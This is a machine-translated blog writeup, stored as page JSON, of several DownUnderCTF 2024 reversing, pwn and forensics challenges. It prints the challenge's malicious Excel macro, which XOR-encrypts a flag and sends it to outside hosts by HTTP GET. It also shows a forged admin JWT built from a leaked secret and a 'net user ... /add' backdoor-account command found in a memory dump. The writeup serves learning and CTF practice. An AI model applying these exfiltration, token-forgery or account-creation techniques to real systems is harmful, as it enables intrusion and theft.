{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-ductf-2024-en","result":{"data":{"markdownRemark":{"id":"6035b97d-fba5-56c3-b555-b2edf6606e84","html":"
\n

This page has been machine-translated from the original page.

\n
\n

This is a writeup for DUCTF.

\n

I’m very grateful that DUCTF publishes proper official writeups.

\n

Reference: DownUnderCTF/Challenges2024Public: Files + Solutions for DownUnderCTF 2024 Challenges

\n\n

Table of Contents

\n\n

number mashing(Rev)

\n
\n

Mash your keyboard numpad in a specific order and a flag might just pop out!

\n
\n

When I decompiled the challenge binary, I found that it executes the following code.

\n
printf(\"Give me some numbers: \");\n__isoc99_scanf(\"%d %d\",&A,&B);\nif (((A == 0) || (B == 0)) || (B == 1)) {\n    puts(\"Nope!\");\n    exit(1);\n}\nx = 0;\nif (B != 0) {\n    x = A / B;\n}\nif (x != A) {\n    puts(\"Nope!\");\n    exit(1);\n}
\n

It seems you can get the flag by supplying input where the result x of x = A / B becomes equal to A, using a non-zero int A and an int B that is neither 0 nor 1.

\n

I immediately realized that this probably involved taking advantage of integer overflow, but I couldn’t make such values by hand.

\n

After wasting a bunch of time, I finally realized I could just solve it with Z3, wrote the following solver, and got the flag in three minutes.

\n
from z3 import *\nA = BitVec(\"A\", 32)\nB = BitVec(\"B\", 32)\ns = Solver()\ns.add(A != 0)\ns.add(B != 0)\ns.add(B != 1)\ns.add(A == (A/B))\n\ns.check()\ns.model()\n# [B = 4294967295, A = 2147483648]
\n

\n \n \n \n \n \n \n \n \n

\n

sssshhhh(Rev)

\n
\n

Great news! We found the Kookaburras!… Bad news.. They’re locked up. We’ve managed to get access to the central terminal and ripped a binary off of it for you to analyse. Maybe you can find a way to free our friends?

\n
\n

When I decompiled the challenge binary, it appeared to be a Go binary using a library called Wish.

\n

Wish is a library for creating applications that can be accessed remotely over SSH.

\n

Reference: charmbracelet/wish: Make SSH apps, just like that! 💫

\n

When I actually connected to the challenge binary, it asked for a password for SSH access.

\n

The password requested there seemed to be different from an actual Linux user’s password, so I assumed it was likely defined inside the program.

\n

So I decided to search the decompiled output for code that registers or verifies the password.

\n

Identifying the password-checking code

\n

Eventually, after searching the Ghidra symbol tree for the string password, I found that a variable with the symbol name password_spill exists in the RunSSH code inside the main function.

\n

\n \n \n \n \n \n \n \n \n

\n

The decompiled output of this function was as follows.

\n

The check param_1 == 0x23 looked suspicious, as if it might be validating the password string.

\n
undefined8 main.RunSSH.func2(long param_1)\n{\n  undefined8 uVar1;\n  long unaff_R14;\n  github.com/charmbracelet/ssh.Context ctx_spill;\n  string password_spill;\n  \n  while (&stack0x00000000 <= *(undefined **)(unaff_R14 + 0x10)) {\n    runtime.morestack_noctxt();\n  }\n  if (param_1 == 0x23) {\n    uVar1 = runtime.memequal();\n  }\n  else {\n    uVar1 = 0;\n  }\n  return uVar1;\n}
\n

Although it is not shown in this decompilation result because Ghidra apparently could not analyze the binary properly, the disassembly shows that a hardcoded string is passed as an argument to the memequal function, as shown below.

\n

\n \n \n \n \n \n \n \n \n

\n

For this function, Binary Ninja produced a more accurate decompilation.

\n

\n \n \n \n \n \n \n \n \n

\n

The memequal called here seems to compare whether the argument values match.

\n

I actually tried entering the hardcoded string ManIReallyHateThoseDamnKookaburras! as the password, and the check succeeded, confirming that this was indeed where the password was being verified.

\n

However, even though the password check passed, the text No valid command was displayed and the connection was closed, so I still couldn’t determine the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

From here, it looked like I needed to identify some way this program returns the flag.

\n

Investigating what happens after login

\n

When I log in to this app over SSH, after Welcome <USER> it shows the following line: This is the Kookaburra holding cells. Contained: 11912 Kookaburras\n -> No valid command.

\n

From this, I could tell that I would probably get the flag by executing some valid command over SSH.

\n

It appears that the Wish library handles SSH commands with a function called Command.

\n

Reference: wish/cmd.go at 4f1d502c6a084e95b0065dbacdba94fbc295c992 · charmbracelet/wish

\n

As a quick test, I searched the symbol tree for the text Command, and found the function github.com/charmbracelet/ssh.(*session).Command.

\n

That looked like the function handling commands received over SSH.

\n

When I set a breakpoint there and ran it, I confirmed that it really does process the received command inside this function.

\n

\n \n \n \n \n \n \n \n \n

\n

Reading through the code of main.RunSSH.MiddlewareWithLogger.func8.1 carefully, I found the following branch where the input value is compared against the text UnlockTheCells.

\n

\n \n \n \n \n \n \n \n \n

\n

So I opened an SSH connection that executed this command, and I was able to obtain the correct flag.

\n

\n \n \n \n \n \n \n \n \n

\n

Analyzing Go binaries was difficult.

\n

vector overflow(Pwn)

\n
\n

vector overflow

\n
\n

The challenge provides the binary and the following source code.

\n

In this binary, the global variables buf and vector v are defined.

\n
#include <cstdlib>\n#include <iostream>\n#include <string>\n#include <vector>\n\nchar buf[16];\nstd::vector<char> v = {'X', 'X', 'X', 'X', 'X'};\n\nvoid lose() {\n    puts(\"Bye!\");\n    exit(1);\n}\n\nvoid win() {\n    system(\"/bin/sh\");\n    exit(0);\n}\n\nint main() {\n    char ductf[6] = \"DUCTF\";\n    char* d = ductf;\n\n    std::cin >> buf;\n    if(v.size() == 5) {\n        for(auto &c : v) {\n            if(c != *d++) {\n                lose();\n            }\n        }\n\n        win();\n    }\n\n    lose();\n}
\n

There is of course an obvious vulnerability in buf, which receives the input, but the code starting from if(v.size() == 5) treats it as a vector object rather than plain text, so if you want to tamper with the value via a buffer overflow, you need to craft the input carefully.

\n

\n \n \n \n \n \n \n \n \n

\n

The vector object stores a pointer to its buffer at the beginning, and its size seems to be calculated from the difference to the next address.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n \n \n \n \n \n \n \n

\n

emuc2(Forensic)

\n
\n

As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here’s a capture of traffic we found on one of our laptops…

\n
\n

The challenge provides the following key log file and pcap as artifacts.

\n
SERVER_HANDSHAKE_TRAFFIC_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 1bfc9a265e4ecfc52c64405ec2364a75bcb391c05d2da07fea71aa378dc6f1a4\nEXPORTER_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a c4728fd867102154b3797992d8517769fd2930c1322c19e05587c1d0323d1094\nSERVER_TRAFFIC_SECRET_0 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 31b5fa2f3b7129505d312a2a3ecf8fabc0e84f450bd4e7a79b9a423849b2b47a\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a ddb7df3d1a327bfba9b9e060baedbc1f3e9edfb5deaec8177adc94ea6c778043\nCLIENT_TRAFFIC_SECRET_0 96c6bfed6964bf670d10173aeace529145757694708aa9eb6cf66adddd11843a 48e788cf9dde473ce9f326aa272b4784bad59c645da5fe91e0c09a9922cdb767\nSERVER_HANDSHAKE_TRAFFIC_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa 2cbc2292df70c2e36fcae22de273d76024c770fc5b46d852adb860313dabcf99\nEXPORTER_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa af842c754fe7f0109983a0705e85af1051fadbfa962fedc84c7c6cb17fd109f4\nSERVER_TRAFFIC_SECRET_0 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa fcb56de1d6c17cca7791807b03cf662e3730e9f9143fd8327ec4bc7517995f77\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa 10442cc2c1f110bdce7c58a37a89b6d8775c077d601f1ae782d1552cb16cda47\nCLIENT_TRAFFIC_SECRET_0 6584a37b45e90e7a9f14c89eddb16f75f1c75ef5af262dce780202311b12dafa d9bd97f3b6d6632f367878cdd8b0ff38d8590fcb9ebee42fa9954331bb8d4c42\nSERVER_HANDSHAKE_TRAFFIC_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf d5771d32ad0b1422eb3335414349835a98e875874cec846d1e8737d8e1583d59\nEXPORTER_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 83a0fffcd8e4795932adf8c6ae8e1aebc02c1b373d218164e0b92605ea47fd64\nSERVER_TRAFFIC_SECRET_0 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 00e2ca1b2581d8fd93b5c88e6a5fccb45f7e166b91c3660c9324c4ac2d317c2d\nCLIENT_HANDSHAKE_TRAFFIC_SECRET 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf c26cbaa800392054e5f99320da96d7d45d3217f5bf579dd98d9fbf134797e33a\nCLIENT_TRAFFIC_SECRET_0 653a112cd0bd681fd9803186918028b40d1d914cd2b5b6b87b3d7daf4f4948cf 41f038a84afa86698bdcb315d3e4bbec97f97d3fb21c18ee90ff3ec8fec4fa1c\nSERVER_HANDSHAKE_TRAFFIC_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 e57fac6e9ee5679b5cc73caa8e03fac485b9b8c52b8d0230a29b3e47620df925\nEXPORTER_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 8280482a484454c4924299d37dfeb00d6a4244056fa4117126e3848b320df11e\nSERVER_TRAFFIC_SECRET_0 c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 d66450efcfaa5d296ee1ec40077ce5e362fb359c4ba62625ffa558f6f90b7fdb\nCLIENT_HANDSHAKE_TRAFFIC_SECRET c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 39505a4dbda2a26f892bacc83cbd72c62e2e20496c8716246047b3b2f1e57321\nCLIENT_TRAFFIC_SECRET_0 c99c34eedc9d76a76c8d114d8c199831901dfb423644bcb05fb2bdc7e0d99061 b2f4e1750aaee0b5a948f5c186db239df53b9869f0c3922c70a9e84e983d6b7a
\n

For now, I set this key log file in Wireshark as a TLS master secret log.

\n

\n \n \n \n \n \n \n \n \n

\n

This lets us decrypt the TLS packets, so I started looking through the contents.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n \n \n \n \n \n \n \n

\n

After analyzing the packets, I found that this C2 server collects the device’s environment variables and uploads them as files to /api/env.

\n

Also, I eventually found that I could log in to the server running as the C2 service with the following credentials.

\n

\n \n \n \n \n \n \n \n \n

\n

When I captured a HAR file, I found that a JWT token is generated at login, and the flag is requested by sending a POST request to /api/flag using that JWT token.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n \n \n \n \n \n \n \n

\n

When I decoded this token, it appeared to specify 0 as the subject_id.

\n

\n \n \n \n \n \n \n \n \n

\n

The response also stated that Subject 0 does not have permission to access it.

\n

\n \n \n \n \n \n \n \n \n

\n

I tried to see whether I could tamper with the JWT token, but the \"alg:none\" attack did not seem to work.

\n

\n \n \n \n \n \n \n \n \n

\n

Reference: An introduction to JWT from a security perspective - blog of morioka12

\n

When I checked the behavior of the C2 server again, I confirmed that issuing a GET request to list /api/env/ returns random strings, as already seen.

\n

Also, when I analyzed the packet capture, I saw that sending a POST request to /api/env/ reported that data had been uploaded using a random string as the filename.

\n

\n \n \n \n \n \n \n \n \n

\n

So, for now, I dumped all uploaded information with the following script.

\n
import requests\n\nwords = [\"YeIzRgKdWkx6EhyH8FPtQinoUI42yR7B\",\"SENmvOvr1rC4BQQ7ugTi2Mht9UXUFQQH\",\"3b2NQO9CM7ZinEyVNQkwkVx5r684TIwl\",\"AbZ9FbNDzJ5ACbGKJ8ezjdod2Jr4x0iW\",\"eWnjieXEMQ7Bj6tpLluchBBH7sDsCt3M\",\"hLJh9TRNut3rSLWJQ6CsGs3OuNjmfYxb\",\"M5ZU5KLyrjulq7QpLhKiJMwRrAMq3MZq\",\"1awDrBxaMbwAhOcvfyntbliw3qanrSKT\",\"FIJRM8kwWj1ye4JwPHg7IJg7PxJBtoXX\",\"iu19ErtsjrQgTMohSnGJ46iMVai9ONOZ\",\"2ervnWvp24g0pHZ81V3W9j2k0NmrkY1Z\",\"T4yLN35GKLhxTgaykWxdgROCAwIBE3FO\",\"HW8UkDvnQ8HFrTkyLHOIMMwywiTvCwfS\",\"Cc5LKVk8n2N6F5BD9shXDlBX0NYG5RP3\",\"YB64wqRiqblY7Bhk2z03bvwYLF9pk8o8\",\"OxcOm5DyESp49smKwYmb6N9sr2yjZPv3\",\"khmmeFNPFAhizYWKyvYMnLA7GVsJNvDt\",\"Q3aoz6KBVGScMKS1Jfr6ewy9ix8q9elJ\",\"jwbZUL8C5rj7DeuCEKZBGokgEh4ujMk1\",\"LlqhKxf2yh8loi7ydfBBg18QKjDS33H0\",\"kpSKlqhaNIL8g2EgACu3353i1p3Hh2CJ\",\"n9tt6MNRJRoY8SIKqEoZnqxJpZmujQuR\",\"1l4w5VOiIQ4pf7rid49GvvaXkhD5yIcw\",\"ddl17btjos89HSpMlz4w1esNdp1BbPA7\",\"jYyikfLWMl2nwZKLPZOI7yoX6Gsafj6Y\",\"nx65kRioTaH87erafNtKaogarwPZYgn4\",\"CU6ITn3A3r6PI089rdqbldt1MKSBOR8e\",\"AYenVSd8ShOKt7in9tLAUTb1IPRminC4\",\"BWO7KhzutnIAYRNdiUi6s4PMMheBFC4A\",\"HlFqicDoJqA12cmHy8bnZd0GuSSqqL8q\",\"8J71fW0218FzmBkF8ttefJrz7BpVtI8F\",\"9QCWBIwQaNedL5NrTrymVUln0X9zDaPg\",\"WbUwqhFlnuycALJgSSYb0VjeAgNtIhan\",\"4GagZFf0emVWMqVZGuSQ0Wt3oesDqTId\",\"hJgMfU0P4DZoXEQ3jPLmQqYrMcLL6tMq\",\"Ie4Ct3weRbyqVZuU8D5WEJ9WzDaGkUeG\",\"HBQW4v8Jx72LIeSA3gssnxODtUiR12iY\",\"dlPoTSiQQhQW0LArsYjaXOlg5FhCECNX\",\"1cLnEiDa0ZBFZMg0sRnB6uAGssFooEwd\",\"h9ZZhUm8LRlXcTwSyPkhbyeH8WopzgK1\",\"b6dQeUSvK6BaKu6hqGKjac1wljmECerf\",\"vOW0m1zK5Ene3eEFxoYlGBDY6PhMG6Ug\",\"4Hmer55iqHNq4fMbUgLTT96KDsceFHQz\",\"TS9mqDcYUu9DUA1b9QoPqSeLMZFJNCKq\",\"3zzwJVC13tWXVaBSwumerFZX10ZEwSx5\",\"AL7Q1tqteIiAMoDAKLmx3PQ7uCtb1WCy\",\"ggnR5ZzLSVr12T8k7cyRMAdlBuOLOQAr\",\"w9SSZPc1qWUAGWE8pyLeB9XIRO79mzDs\",\"u2YrePZCdoytCV6Eiund5dcubFdq2hPx\",\"JShVnYgvoW5Lim3WL3qlqRMoTBGU4ATF\",\"rnWQN9Hda8uDMoEqSdVGzvEtXuFJRZTT\",\"u6dGg8b4YO8NylRJlTVnURjBxMlRmtVy\",\"sD2esH8RTuqsD23PlfGCE0q5JdjnLb6t\",\"ELfvFcLKnMyCwj7ruRbSkZKghcY4R2k6\",\"xkzsLBLgP6dzDZYeiTzlwFpdsdS53fbg\",\"L3VHzsrMHOPXtxfjsX9IEuMdWXiAN4lA\",\"WGzrln1mR9mAgIYeCkkYZm5RIvdajkAi\",\"9e1Y8jnY3j7Lkf8a03szPcqPqPDSGv6y\",\"yTYSAZPsUbDCZbOg6XYBlFm7q6G4v3aq\",\"rDmj6xnsGnm0MJQHvpuSbSXmkvanFQca\",\"QFNahJX4von8pvpS5cy6bh2tyWGEcJwK\",\"4LulvNMUoxwKcKXZm7DQxGOyZmUDAxn7\",\"OiGiv5uCIyfNlTf0iePAiNe6lX3pVvJ7\",\"nY8G2nYcKhvEJ5s2BD4SHECmTKKn1CSL\",\"1K4qLxDn5gLF6gzcbetXP6HqGpghXmcI\",\"4B4feCWkGFTlsoBI8Nxca380Xyv9sfA6\",\"cDg0B5zh6q632VASxaeXNejqBABNFpWE\",\"jZN0vVGts01Zr0xIJ6o2b6InEolghLr5\",\"D8YzDAIwPFfLxwFcoCZSW02NzAoRM0lo\",\"YCtiLWwcqptffHjTurKWv0zWlm87upmg\",\"iSf2RPy3sdNeP6roA80UkxgqMrkOoXdf\",\"nQD8z2wBoGOyIZ0311jUWAF0YlXsvg41\",\"8ChT1ap67PVswJSBp6l7K8XLB8xlu89t\",\"h83hTYu1lSFrhnMn1YrUxXdhRyy7lITP\",\"oIjgXMJi0VvqTTvEY4G6ys7BjbQD9bpD\",\"sd8CGK9j5eD0G8UUp0UkdgLc7tjxbkom\",\"gSsaLGJVrbCvhXDa2tsgR9tZpzfd7gbS\",\"GMBb01VPPfnMxJJTANYwfYnckBv0tB2w\",\"JcMLJHRDcwmZ7T4OyoKZHg3A952Rbc3L\",\"fLJBKWU3l5o7N1XxxVlG4JwyHCDqhJFY\",\"ABgupVqa3fWHnbF6u4JH2tIzn4nuXf8e\",\"1rJ4C9rcoWaW40fZEGA4vUY11azYLw04\",\"aOLKa8rN9em0kQ0sfLeoRmVXY7L17Il1\",\"6FND9ZASwt4GYHLuoCwFZ6JXYcYHuAh2\",\"PqGpPjPKySbkf9tZkLS2X63xMHCwNUto\",\"lNcHGKv23aHR7BApWAC0uOz067fmOaM6\",\"60rV2f60cvJW5FXPf6RwdqSz2nKeJ5Nz\",\"OZS5oCbUw8B0MtdSwxIkOHKn2N9xJhBw\"]\nwith open(\"out.txt\", \"w\") as f:\n    for word in words:\n        response = requests.get(f\"https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/env/{word}\")\n        f.write(response.text)
\n

While digging through the dumped files, I found information called JWT_SECRET.

\n

This appears to be the JWT secret key.

\n
JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi
\n

With that, it seemed possible to use arbitrary data as a JWT token.

\n

Using the following script, I created a JWT token with subject_id changed to 1.

\n
import jwt\npayload = {\"subject_id\": 1, \"exp\": 1720649521}\nsecret = r\"3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi\"\ntoken = jwt.encode(payload, secret, algorithm=\"HS512\")\nprint(token)
\n

When I used this to call /api/flag, I was able to obtain the correct flag as shown below.

\n

\n \n \n \n \n \n \n \n \n

\n

Macro Magic(Forensic)

\n
\n

We managed to pull this excel spreadsheet artifact from one of our Outpost machines. Its got something sus happening under the hood. After opening we found and captured some suspicious traffic on our network. Can you find out what this traffic is and find the flag!

\n
\n

The challenge provides a suspicious macro file and a packet capture as artifacts.

\n

For now, I used olevba to extract the script from the macro file.

\n
olevba Monke.xlsm
\n

The code extracted from it was as follows.

\n
Public Function anotherThing(B As String, C As String) As String\n    Dim I As Long\n    Dim A As String\n    For I = 1 To Len(B)\n        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))\n    Next I\n    anotherThing = A\nEnd Function\n\nPublic Function importantThing()\n    Dim tempString As String\n    Dim tempInteger As Integer\n    Dim I As Integer\n    Dim J As Integer\n    For I = 1 To 5\n        Cells(I, 2).Value = WorksheetFunction.RandBetween(0, 1000)\n    Next I\n    For I = 1 To 5\n        For J = I + 1 To 5\n            If Cells(J, 2).Value < Cells(I, 2).Value Then\n                tempString = Cells(I, 1).Value\n                Cells(I, 1).Value = Cells(J, 1).Value\n                Cells(J, 1).Value = tempString\n                tempInteger = Cells(I, 2).Value\n                Cells(I, 2).Value = Cells(J, 2).Value\n                Cells(J, 2).Value = tempInteger\n            End If\n        Next J\n    Next I\nEnd Function\n\nPublic Function totalyFine(A As String) As String\n    Dim B As String\n    B = Replace(A, " ", "-")\n    totalyFine = B\nEnd Function\n\nSub macro1()\n    Dim Path As String\n    Dim wb As Workbook\n    Dim A As String\n    Dim B As String\n    Dim C As String\n    Dim D As String\n    Dim E As String\n    Dim F As String\n    Dim G As String\n    Dim H As String\n    Dim J As String\n    Dim K As String\n    Dim L As String\n    Dim M As String\n    Dim N As String\n    Dim O As String\n    Dim P As String\n    Dim Q As String\n    Dim R As String\n    Dim S As String\n    Dim T As String\n    Dim U As String\n    Dim V As String\n    Dim W As String\n    Dim X As String\n    Dim Y As String\n    Dim Z As String\n    Dim I As Long\n    N = importantThing()\n    K = "Yes"\n    S = "Mon"\n    U = forensics(K)\n    V = totalyFine(U)\n    D = "Ma"\n    J = "https://play.duc.tf/" + V\n    superThing (J)\n    J = "http://flag.com/"\n    superThing (J)\n    G = "key"\n    J = "http://play.duc.tf/"\n    superThing (J)\n    J = "http://en.wikipedia.org/wiki/Emu_War"\n    superThing (J)\n    N = importantThing()\n    Path = ThisWorkbook.Path & "\\flag.xlsx"\n    Set wb = Workbooks.Open(Path)\n    Dim valueA1 As Variant\n    valueA1 = wb.Sheets(1).Range("A1").Value\n    MsgBox valueA1\n    wb.Close SaveChanges:=False\n    F = "gic"\n    N = importantThing()\n    Q = "Flag: " & valueA1\n    H = "Try Harder"\n    U = forensics(H)\n    V = totalyFine(U)\n    J = "http://downunderctf.com/" + V\n    superThing (J)\n    W = S + G + D + F\n    O = doThing(Q, W)\n    M = anotherThing(O, W)\n    A = something(O)\n    Z = forensics(O)\n    N = importantThing()\n    P = "Pterodactyl"\n    U = forensics(P)\n    V = totalyFine(U)\n    J = "http://play.duc.tf/" + V\n    superThing (J)\n    T = totalyFine(Z)\n    MsgBox T\n    J = "http://downunderctf.com/" + T\n    superThing (J)\n    N = importantThing()\n    E = "Forensics"\n    U = forensics(E)\n    V = totalyFine(U)\n    J = "http://play.duc.tf/" + V\n    superThing (J)\n    \nEnd Sub\n\nPublic Function doThing(B As String, C As String) As String\n    Dim I As Long\n    Dim A As String\n    For I = 1 To Len(B)\n        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))\n    Next I\n    doThing = A\nEnd Function\n\nPublic Function superThing(ByVal A As String) As String\n    With CreateObject("MSXML2.ServerXMLHTTP.6.0")\n        .Open "GET", A, False\n        .Send\n        superThing = StrConv(.responseBody, vbUnicode)\n    End With\nEnd Function\n\nPublic Function something(B As String) As String\n    Dim I As Long\n    Dim A As String\n    For I = 1 To Len(inputText)\n        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))\n    Next I\n    something = A\nEnd Function\n\nPublic Function forensics(B As String) As String\n    Dim A() As Byte\n    Dim I As Integer\n    Dim C As String\n    A = StrConv(B, vbFromUnicode)\n    For I = LBound(A) To UBound(A)\n        C = C & CStr(A(I)) & " "\n    Next I\n    C = Trim(C)\n    forensics = C\nEnd Function
\n

It looks like macro1 is executed first inside the macro file.

\n

Here, it seems to send GET requests to several URLs (the superThing function) and perform string manipulation.

\n
N = importantThing()\nK = "Yes"\nS = "Mon"\nU = forensics(K)\nV = totalyFine(U)\nD = "Ma"\nJ = "https://play.duc.tf/" + V\nsuperThing (J)\nJ = "http://flag.com/"\nsuperThing (J)\nG = "key"\nJ = "http://play.duc.tf/"\nsuperThing (J)\nJ = "http://en.wikipedia.org/wiki/Emu_War"\nsuperThing (J)\nN = importantThing()\nPath = ThisWorkbook.Path & "\\flag.xlsx"\nSet wb = Workbooks.Open(Path)\nDim valueA1 As Variant\nvalueA1 = wb.Sheets(1).Range("A1").Value\nMsgBox valueA1\nwb.Close SaveChanges:=False\nF = "gic"\nN = importantThing()\nQ = "Flag: " & valueA1\nH = "Try Harder"\nU = forensics(H)\nV = totalyFine(U)\nJ = "http://downunderctf.com/" + V\nsuperThing (J)\nW = S + G + D + F\nO = doThing(Q, W)\nM = anotherThing(O, W)\nA = something(O)\nZ = forensics(O)\nN = importantThing()\nP = "Pterodactyl"\nU = forensics(P)\nV = totalyFine(U)\nJ = "http://play.duc.tf/" + V\nsuperThing (J)\nT = totalyFine(Z)\nMsgBox T\nJ = "http://downunderctf.com/" + T\nsuperThing (J)\nN = importantThing()\nE = "Forensics"\nU = forensics(E)\nV = totalyFine(U)\nJ = "http://play.duc.tf/" + V\nsuperThing (J)
\n

If you inspect the HTTP requests, you can see that several requests include hyphen-separated byte sequences generated by the forensics and totalyFine functions.

\n

\n \n \n \n \n \n \n \n \n

\n

Most of them are meaningless strings like Try Harder, but one piece of data looks like it is actually being encrypted.

\n

\n \n \n \n \n \n \n \n \n

\n

\n \n \n \n \n \n \n \n \n

\n

If you arrange the packets chronologically, this byte sequence appears in the second-to-last request.

\n

\n \n \n \n \n \n \n \n \n

\n

This is the value generated by the following code, and it seems very likely that it is the encrypted flag.

\n

Here, the flag obtained from the sheet is most likely being XORed with some key by the doThing function.

\n
Q = "Flag: " & valueA1\n***\nW = S + G + D + F\nO = doThing(Q, W)\n***\nZ = forensics(O)\n***\nT = totalyFine(Z)\nMsgBox T\nJ = "http://downunderctf.com/" + T\nsuperThing (J)
\n

Also, the XOR key used here, S + G + D + F, is written in plaintext without any trick, so I was able to get the flag directly.

\n

\n \n \n \n \n \n \n \n \n

\n

Lost in Memory(Forensic)

\n
\n

Looks like one of our Emu soldiers ran something on an Outpost machine and now it’s doing strange things. We took a memory dump as a precaution. Can you tell us whats going on?

\n

This challenge has four parts to combine into the final flag with _ between each answer. Find all four answers and combine them into the flag as all lower case like DUCTF{answer1_answer2_answer3_answer4} eg. DUCTF{malicious.xlsm_invoke-mimikatz_malware.exe-malware2.exe_strong-password123}

\n
    \n
  1. What was the name of the malicious executable? eg malicious.xlsm
    2. \n
  2. What was the name of the powershell module used? eg invoke-mimikatz
    3. \n
  3. What were the names of the two files executed from the malicious executable (In alphabetical order with - in between and no spaces)? eg malware.exe-malware2.exe
    4. \n
  4. What was the password of the new account created through powershell? eg strong-password123
    5. \n
\n
\n

The challenge provides a memory dump as the artifact.

\n

\n \n \n \n \n \n \n \n \n

\n

It seems that you can get the flag by analyzing this dump and finding four keywords.

\n

Task 1

\n

First, I needed to find the suspicious executable.

\n

For now, I scanned the processes with vol3 -f ./EMU-OUTPOST.raw windows.psscan.

\n

The process scan did not reveal anything suspicious, but when I checked the command lines with vol3 -f ./EMU-OUTPOST.raw windows.cmdline.CmdLine, I found suspicious files such as C:\\Users\\emu\\Desktop\\Monke\\Monke.xlsm and C:\\Users\\emu\\Downloads\\monkey.doc.ps1.

\n

\n \n \n \n \n \n \n \n \n

\n

Task 2

\n

Next, I needed to identify the suspicious PowerShell module that had been loaded.

\n

For now, I dumped the PowerShell processes.

\n

There are the following three processes.

\n

\n \n .

\n

\n \n \n \n \n \n \n \n \n

\n

Analyzing this in CyberChef shows that it executes net user admin 5up3r-5ecur3 /add.

\n

\n \n \n \n \n \n \n \n \n

\n

The final correct flag was DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3}.

\n

Summary

\n

I spent too much time on easy problems, so I want to get better at solving them quickly as well.

","fields":{"slug":"/ctf-ductf-2024-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2024-07-12","description":"DUCTF 2024 Writeup","tags":["Rev (en)","Pwn (en)","Forensic (en)","English"],"title":"DUCTF 2024 Writeup","socialImage":{"publicURL":"/static/c079c6637f6618a3beb6fab238cf69cc/ctf-ductf-2024.png"}}}},"pageContext":{"slug":"/ctf-ductf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}